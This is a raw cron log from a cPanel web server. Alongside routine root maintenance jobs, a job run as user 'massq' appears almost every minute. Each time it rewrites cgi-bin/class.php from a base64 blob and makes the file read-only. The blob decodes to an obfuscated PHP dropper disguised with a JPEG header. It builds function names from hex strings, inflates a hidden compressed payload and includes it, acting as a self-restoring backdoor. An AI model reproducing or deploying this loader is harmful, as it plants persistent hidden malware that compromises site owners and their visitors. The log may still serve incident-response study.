Aug 31 18:38:01 server CROND[11118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:38:01 server CROND[11119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:39:01 server CROND[11506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:39:01 server CROND[11507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:39:01 server CROND[11509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:39:01 server CROND[11508]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 18:40:01 server CROND[11919]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:40:01 server CROND[11921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:40:01 server CROND[11922]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:40:01 server CROND[11925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:40:01 server CROND[11924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:40:01 server CROND[11926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:40:01 server CROND[11929]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:40:01 server CROND[11927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:41:01 server CROND[12888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:41:01 server CROND[12889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:41:01 server CROND[12890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:42:01 server CROND[13260]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 18:42:01 server CROND[13262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:42:01 server CROND[13261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:42:01 server CROND[13264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:43:01 server CROND[13646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:43:01 server CROND[13647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:43:01 server CROND[13648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:44:01 server CROND[14031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:44:01 server CROND[14032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:44:01 server CROND[14033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:45:01 server CROND[14410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:45:01 server CROND[14411]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:45:01 server CROND[14414]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:45:01 server CROND[14415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:45:01 server CROND[14417]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:45:01 server CROND[14419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:45:01 server CROND[14418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:46:01 server CROND[15227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:46:01 server CROND[15228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:46:01 server CROND[15229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:47:01 server CROND[15696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:47:01 server CROND[15697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:47:01 server CROND[15698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:48:01 server CROND[16082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:48:01 server CROND[16081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:48:01 server CROND[16083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:49:01 server CROND[16472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:49:01 server CROND[16473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:49:01 server CROND[16474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:50:01 server CROND[16863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:50:01 server CROND[16865]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:50:01 server CROND[16866]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 18:50:01 server CROND[16867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:50:01 server CROND[16868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
